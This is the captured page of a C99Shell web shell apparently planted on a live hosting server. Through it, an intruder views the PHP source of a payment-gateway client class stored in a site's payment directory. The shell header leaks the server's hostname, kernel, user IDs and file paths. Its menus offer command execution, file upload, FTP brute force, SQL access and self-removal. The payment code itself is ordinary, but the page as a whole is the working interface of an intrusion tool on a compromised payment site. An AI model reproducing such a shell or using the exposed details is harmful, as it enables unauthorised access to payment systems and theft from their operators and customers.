!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/pagamento/IGFS_CG_API/init/   drwxr-xr-x
Free 182.52 GB of 490.84 GB (37.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IgfsCgSelector.php (5.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once("IGFS_CG_API/init/BaseIgfsCgInit.php");
require_once(
"IGFS_CG_API/init/TerminalInfo.php");

class 
IgfsCgSelector extends BaseIgfsCgInit {

    public 
$shopUserRef;
    public 
$trType "AUTH";
    public 
$amount;
    public 
$currencyCode;
    public 
$langID "IT";
    public 
$addInfo1;
    public 
$addInfo2;
    public 
$addInfo3;
    public 
$addInfo4;
    public 
$addInfo5;
    public 
$payInstrToken;

    public 
$terminal;

    function 
__construct() {
        
parent::__construct();
    }

    protected function 
resetFields() {
        
parent::resetFields();
        
$this->shopUserRef NULL;
        
$this->trType "AUTH";
        
$this->amount NULL;
        
$this->currencyCode NULL;
        
$this->langID "IT";
        
$this->addInfo1 NULL;
        
$this->addInfo2 NULL;
        
$this->addInfo3 NULL;
        
$this->addInfo4 NULL;
        
$this->addInfo5 NULL;
        
$this->payInstrToken NULL;

        
$this->terminal NULL;
    }

    protected function 
checkFields() {
        
parent::checkFields();
        if (
$this->trType == NULL)
            throw new 
IgfsMissingParException("Missing trType");
        if (
$this->trType != "TOKENIZE") {
            if (
$this->amount == NULL)
                throw new 
IgfsMissingParException("Missing amount");
            if (
$this->currencyCode == NULL)
                throw new 
IgfsMissingParException("Missing currencyCode");
        }
        if (
$this->langID == NULL)
            throw new 
IgfsMissingParException("Missing langID");
        if (
$this->payInstrToken != NULL) {
            
// Se รจ stato impostato il payInstrToken verifico...
            
if ($this->payInstrToken == "")
                throw new 
IgfsMissingParException("Missing payInstrToken");
        }
            
    }

    protected function 
buildRequest() {
        
$request parent::buildRequest();
        if (
$this->shopUserRef != NULL)
            
$request $this->replaceRequest($request"{shopUserRef}""<shopUserRef><![CDATA[" $this->shopUserRef "]]></shopUserRef>");
        else
            
$request $this->replaceRequest($request"{shopUserRef}""");

        
$request $this->replaceRequest($request"{trType}"$this->trType);
        if (
$this->amount != NULL)
            
$request $this->replaceRequest($request"{amount}""<amount><![CDATA[" $this->amount "]]></amount>");
        else
            
$request $this->replaceRequest($request"{amount}""");
        if (
$this->currencyCode != NULL)
            
$request $this->replaceRequest($request"{currencyCode}""<currencyCode><![CDATA[" $this->currencyCode "]]></currencyCode>");
        else
            
$request $this->replaceRequest($request"{currencyCode}""");
        
$request $this->replaceRequest($request"{langID}"$this->langID);
        
        if (
$this->addInfo1 != NULL)
            
$request $this->replaceRequest($request"{addInfo1}""<addInfo1><![CDATA[" $this->addInfo1 "]]></addInfo1>");
        else
            
$request $this->replaceRequest($request"{addInfo1}""");
        if (
$this->addInfo2 != NULL)
            
$request $this->replaceRequest($request"{addInfo2}""<addInfo2><![CDATA[" $this->addInfo2 "]]></addInfo2>");
        else
            
$request $this->replaceRequest($request"{addInfo2}""");
        if (
$this->addInfo3 != NULL)
            
$request $this->replaceRequest($request"{addInfo3}""<addInfo3><![CDATA[" $this->addInfo3 "]]></addInfo3>");
        else
            
$request $this->replaceRequest($request"{addInfo3}""");
        if (
$this->addInfo4 != NULL)
            
$request $this->replaceRequest($request"{addInfo4}""<addInfo4><![CDATA[" $this->addInfo4 "]]></addInfo4>");
        else
            
$request $this->replaceRequest($request"{addInfo4}""");
        if (
$this->addInfo5 != NULL)
            
$request $this->replaceRequest($request"{addInfo5}""<addInfo5><![CDATA[" $this->addInfo5 "]]></addInfo5>");
        else
            
$request $this->replaceRequest($request"{addInfo5}""");
        
        if (
$this->payInstrToken != NULL)
            
$request $this->replaceRequest($request"{payInstrToken}""<payInstrToken><![CDATA[" $this->payInstrToken "]]></payInstrToken>");
        else
            
$request $this->replaceRequest($request"{payInstrToken}""");

        return 
$request;
    }

    protected function 
setRequestSignature($request) {
        
// signature dove il buffer e' cosi composto APIVERSION|TID|SHOPID|SHOPUSERREF|TRTYPE|AMOUNT|CURRENCYCODE|LANGID|NOTIFYURL|ERRORURL
        
$fields = array(
                
$this->getVersion(), // APIVERSION
                
$this->tid// TID
                
$this->shopID// SHOPID
                
$this->shopUserRef// SHOPUSERREF
                
$this->trType,// TRTYPE
                
$this->amount// AMOUNT
                
$this->currencyCode// CURRENCYCODE
                
$this->langID// LANGID
                
$this->addInfo1// UDF1
                
$this->addInfo2// UDF2
                
$this->addInfo3// UDF3
                
$this->addInfo4// UDF4
                
$this->addInfo5// UDF5
                
$this->payInstrToken); // PAYINSTRTOKEN
        
$signature $this->getSignature($this->kSig// KSIGN
                
$fields); 
        
$request $this->replaceRequest($request"{signature}"$signature);
        return 
$request;
    }

    protected function 
getSoapResponseName() {
        return 
"ns1:SelectorResponse";
    }

    protected function 
parseResponseMap($response) {
        
parent::parseResponseMap($response);
        
$xml $response[BaseIgfsCg::$RESPONSE];    

        
$xml str_replace("<soap:""<"$xml);
        
$xml str_replace("</soap:""</"$xml);
        
$dom = new SimpleXMLElement($xmlLIBXML_NOERRORfalse);
        if (
count($dom)==0) {
            return;
        }

        
$tmp str_replace("<Body>"""$dom->Body->asXML());
        
$tmp str_replace("</Body>"""$tmp);
        
$dom = new SimpleXMLElement($tmpLIBXML_NOERRORfalse);
        if (
count($dom)==0) {
            return;
        }
        
        
$xml_response IgfsUtils::parseResponseFields($dom->response);
        if (isset(
$xml_response["terminal"])) {
            
$terminal = array();
            foreach (
$dom->response->children() as $item) {
                if (
$item->getName() == "terminal") {
                    
$terminal[] = TerminalInfo::fromXml($item->asXML());
                }
            }
            
$this->terminal $terminal;
        }
        
    }

    protected function 
getResponseSignature($response) {
        
$fields = array(
                
$response["tid"], // TID
                
$response["shopID"], // SHOPID
                
$response["rc"], // RC
                
$response["errorDesc"]);// ERRORDESC
        // signature dove il buffer e' cosi composto TID|SHOPID|RC|ERRORDESC|PAYMENTID|REDIRECTURL
        
return $this->getSignature($this->kSig// KSIGN
                
$fields); 
    }
    
    protected function 
getFileName() {
        return 
"IGFS_CG_API/init/IgfsCgSelector.request";
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0099 ]--